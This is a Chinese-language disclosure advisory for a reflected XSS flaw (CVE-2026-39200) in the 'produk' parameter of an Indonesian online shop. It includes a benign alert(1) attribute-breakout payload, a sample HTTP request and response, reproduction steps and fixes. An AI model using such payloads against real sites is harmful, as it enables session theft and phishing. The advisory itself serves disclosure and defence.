在 Toko Online RotI Web 应用程序的 produk 请求参数中发现了反射型跨站脚本(XSS)漏洞。该应用程序在将用户提供的输入反射到用双引号封装的 HTML 标签属性中之前,未对其进行 HTML 编码。攻击者可构造恶意 URL,当受害者访问该 URL 时,会在受害者浏览器会话的上下文中执行任意 JavaScript。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-39200 |
| 漏洞类型 | CWE-79 — 网页生成期间输入未正确中和(反射型 XSS) |
| 受影响产品 | Toko Online RotI(印尼在线商店) |
| 受影响参数 | produk |
| 发现者 | Uzair Ali (r00tali) — 渗透测试员 / 漏洞赏金猎人 |
| 发现日期 | 2026-07-03 |
| CVE 分配日期 | 2026-07-12 |
| 公告发布日期 | 2026-07-19 |
produk 请求参数会被逐字复制到以双引号括起的 HTML 标签属性值中。由于应用程序在反射用户输入之前未对其进行 HTML 编码,攻击者可通过提交包含结束双引号及后续 HTML/JavaScript 载荷的 payload 来突破该属性。
xbnw0"><script>alert(1)</script>skc2h
当此载荷作为 produk 参数提交时,应用程序会将输入未转义地回显到响应中。末尾的 "> 会终止原始属性,注入的 <script>alert(1)</script> 块会被浏览器解释为新的 HTML 元素,从而在用户会话中执行任意 JavaScript。
<!-- BEFORE injection -->
<input type="text" name="produk" value="USER_INPUT" />
<!-- AFTER injection with payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
^^^^^^^^^^^^^^^^^^^^^^^^
Browser executes this
GET /[vulnerable-endpoint]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [target-host]
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- ... -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
<!-- ... -->
</body>
</html>
produk 参数的端点(例如商品搜索、详情或筛选页面)。produk 参数值替换为以下载荷:
xbnw0"><script>alert(1)</script>skc2h
" 并在 DOM 中产生一个有效的 <script> 元素。alert(1) 对话框,从而确认可在受害者会话中执行任意 JavaScript。成功利用此反射型 XSS 漏洞后,攻击者可以:
由于该漏洞为反射型,利用仅需受害者点击一个构造好的链接,因此极易在网络钓鱼活动中被武器化利用。
CVSS v3.1(估计值): 6.1(中危)— AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
为修复此漏洞,厂商应:
<、>、"、' 和 & 进行编码(例如 <、>、"、'、&)。htmlspecialchars($input, ENT_QUOTES, 'UTF-8')HttpUtility.HtmlEncode(input) 或 <%: %> 语法{{ input }}(默认自动转义)| 日期 | 事件 |
|---|---|
| 2026-07-03 | 在授权安全测试期间发现漏洞 |
| 2026-07-03 | 通过 cveform.mitre.org 向 MITRE 申请 CVE ID |
| 2026-07-12 | 由 MITRE 分配团队分配 CVE-2026-39200 |
| 2026-07-19 | 发布公开公告 |
** Uzair Ali (r00tali)** — 渗透测试员 / 漏洞赏金猎人 / 安全研究员
本公告仅用于教育和防御目的。该漏洞已通过 MITRE CVE 分配团队以负责任披露流程上报。公告中不包含任何厂商机密信息、客户数据或专有代码。概念验证使用了良性的 alert(1) 载荷,旨在证明该漏洞的存在,而非协助攻击线上服务。
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
HttpOnly 和 Secure 标志,以防止 JavaScript 读取它们。produk 参数(数字 ID、slug 等),并拒绝任何不匹配的输入。X-Content-Type-Options: nosniff 响应头,以防止对响应体进行 MIME 类型嗅探。